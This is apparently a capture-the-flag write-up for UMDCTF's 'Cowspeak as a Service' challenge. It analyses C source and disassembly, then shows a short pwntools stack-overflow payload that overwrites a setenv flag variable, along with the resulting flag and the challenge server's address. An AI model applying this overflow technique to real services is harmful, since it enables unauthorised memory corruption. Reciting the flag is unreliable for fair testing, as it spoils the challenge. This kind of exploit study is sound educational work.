Rating:
# Cowspeak as a Service
Ok, I gotta admit, this was a really fun challenge! Took me a bit, but I really enjoyed doing it! It was a good one!
We are given the [source code](main.c) of the binary. It uses a program called cowsay, which is a program that generates an ASCII image of a cow with a message. But this is an online service, hence the name Cowspeak as a Service.
Looking at the source, I found out that...
```c
int main() {
char buf[1024];
setbuf(stdout, NULL);
puts("Welcome to Cowsay as a Service (CaaS)!\n");
puts("Enter your message: \n");
fgets(buf, 1024, stdin);
moo(buf);
return 0;
}
```
...it takes 1024 characters as input...
```c
void moo(char *msg)
{
char speak[64];
int chief_cow = 1;
strcpy(speak, msg);
speak[strcspn(speak, "\r\n")] = 0;
setenv("MSG", speak, chief_cow);
system("./cowsay $MSG");
}
```
...stores it in an environment variable, and then executes cowsay with your message, displaying the message as output.
I first thought that by using this you could execute bash code, because you can set flags for cowsay when connected to the server via netcat:
```
Welcome to Cowsay as a Service (CaaS)!
Enter your message:
-f tux "Hello!"
__________
< "Hello!" >
----------
\
\
.--.
|o_o |
|:_/ |
// \ \
(| | )
/'\_ _/`\
\___)=(___/
```
But that is indeed not the case.
I read the challenge text again. It looks like we have to figure out how to read a message we didn't write.
If we find out how to not overwrite the environment variable, we will see other messages people wrote.
But how do we do that?
After some digging, I found this:
[](https://www.ibm.com/support/knowledgecenter/en/SSLTBW_2.2.0/com.ibm.zos.v2r2.bpxbd00/setenv.htm)
[](https://www.ibm.com/support/knowledgecenter/en/SSLTBW_2.2.0/com.ibm.zos.v2r2.bpxbd00/setenv.htm)
Hmm... If `change_flag` is 0, the message is not overwritten! But what is that in our script?
```c
char speak[64];
int chief_cow = 1;
...
setenv("MSG", speak, chief_cow);
```
It uses a variable called `chief_cow` to determine if this will be overwritten. It's time to do another buffer overflow!
You can compile the script by using `gcc`
```
$ gcc main.c -o main
```
Then, to see the assembly, you can use this command:
```
$ objdump -d -M intel main > main.asm
```
Let's look at `moo`:
```
0000000000001195 <moo>:
1195: 55 push rbp
1196: 48 89 e5 mov rbp,rsp
1199: 48 83 ec 60 sub rsp,0x60
119d: 48 89 7d a8 mov QWORD PTR [rbp-0x58],rdi
11a1: c7 45 fc 01 00 00 00 mov DWORD PTR [rbp-0x4],0x1
11a8: 48 8b 55 a8 mov rdx,QWORD PTR [rbp-0x58]
11ac: 48 8d 45 b0 lea rax,[rbp-0x50]
11b0: 48 89 d6 mov rsi,rdx
11b3: 48 89 c7 mov rdi,rax
11b6: e8 75 fe ff ff call 1030 <strcpy@plt>
11bb: 48 8d 45 b0 lea rax,[rbp-0x50]
11bf: 48 8d 35 42 0e 00 00 lea rsi,[rip+0xe42] # 2008 <_IO_stdin_used+0x8>
11c6: 48 89 c7 mov rdi,rax
11c9: e8 b2 fe ff ff call 1080 <strcspn@plt>
11ce: c6 44 05 b0 00 mov BYTE PTR [rbp+rax*1-0x50],0x0
11d3: 8b 55 fc mov edx,DWORD PTR [rbp-0x4] ## int chief_cow = 1;
11d6: 48 8d 45 b0 lea rax,[rbp-0x50] ## char speak[64];
11da: 48 89 c6 mov rsi,rax
11dd: 48 8d 3d 27 0e 00 00 lea rdi,[rip+0xe27] # 200b <_IO_stdin_used+0xb>
11e4: e8 67 fe ff ff call 1050 <setenv@plt>
11e9: 48 8d 3d 1f 0e 00 00 lea rdi,[rip+0xe1f] # 200f <_IO_stdin_used+0xf>
11f0: e8 7b fe ff ff call 1070 <system@plt>
11f5: 90 nop
11f6: c9 leave
11f7: c3 ret
```
So, the character array `speak[64]` is at `rbp-0x50`, or 80 bytes below the base pointer. This is where we start writing data at.
`chief_cow` is at `rbp-0x4` or 4 bytes below the base pointer. `chief_cow` is 4 bytes in size.
We need to write bytes up to `chief_cow`, and then overwrite `chief_cow` with 0.
We can do this in python. I'm using [pwntools](https://docs.pwntools.com/en/stable/about.html) to do this.
```python
r.send(b'A' * (0x50 - 0x4)) ## Write bytes up to chief_cow
r.send(p64(0x0)) ## chief_cow == 0
```
And that's it! We should get the flag!
```
$ py sol.py rem
[+] Opening connection to 192.241.138.174 on port 9998: Done
[*] Switching to interactive mode
Welcome to Cowsay as a Service (CaaS)!
Enter your message:
________________________
< UMDCTF-{P5Th_Ov3rF10w} >
------------------------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
[*] Got EOF while reading in interactive
```
Flag: `UMDCTF-{P5Th_Ov3rF10w}`
